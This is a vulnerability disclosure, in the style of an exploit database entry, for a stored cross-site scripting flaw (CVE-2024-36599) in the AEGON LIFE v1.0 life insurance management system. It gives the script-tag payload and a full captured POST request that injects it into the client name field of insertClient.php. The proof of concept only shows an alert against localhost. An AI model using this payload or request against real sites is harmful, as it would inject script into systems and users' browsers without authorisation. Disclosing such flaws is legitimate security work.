AEGON LIFE v1.0 Life Insurance Management System - Stored cross-site scripting (XSS)

# Exploit Title:  Life Insurance Management Stored System- cross-site scripting (XSS)
# Exploit Author: Aslam Anwar Mahimkar
# Date: 18-05-2024
# Category: Web application
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/
# Version: AEGON LIFE v1.0
# Tested on: Linux
# CVE: CVE-2024-36599

# Description:
----------------

A stored cross-site scripting (XSS) vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary web scripts via a crafted payload injected into the name parameter at insertClient.php.


# Payload:
----------------

<script>alert(document.domain)</script>


# Attack Vectors:
-------------------------

To exploit this vulnerability use <script>alert(document.domain)</script> when user visit Client.php we can see the XSS.

# Burp Suite Request:
----------------------------

POST /lims/insertClient.php HTTP/1.1
Host: localhost
Content-Length: 30423
Cache-Control: max-age=0
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymKfAe0x95923LzQH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/lims/addClient.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78n
Connection: close

------WebKitFormBoundarymKfAe0x95923LzQH
Content-Disposition: form-data; name="client_id"

1716051159

------WebKitFormBoundarymKfAe0x95923LzQH
Content-Disposition: form-data; name="client_password"

password

------WebKitFormBoundarymKfAe0x95923LzQH
Content-Disposition: form-data; name="name"

<script>alert(document.domain)</script>

------WebKitFormBoundarymKfAe0x95923LzQH
Content-Disposition: form-data; name="fileToUpload"; filename="runme.jpg_original"

Content-Type: application/octet-stream


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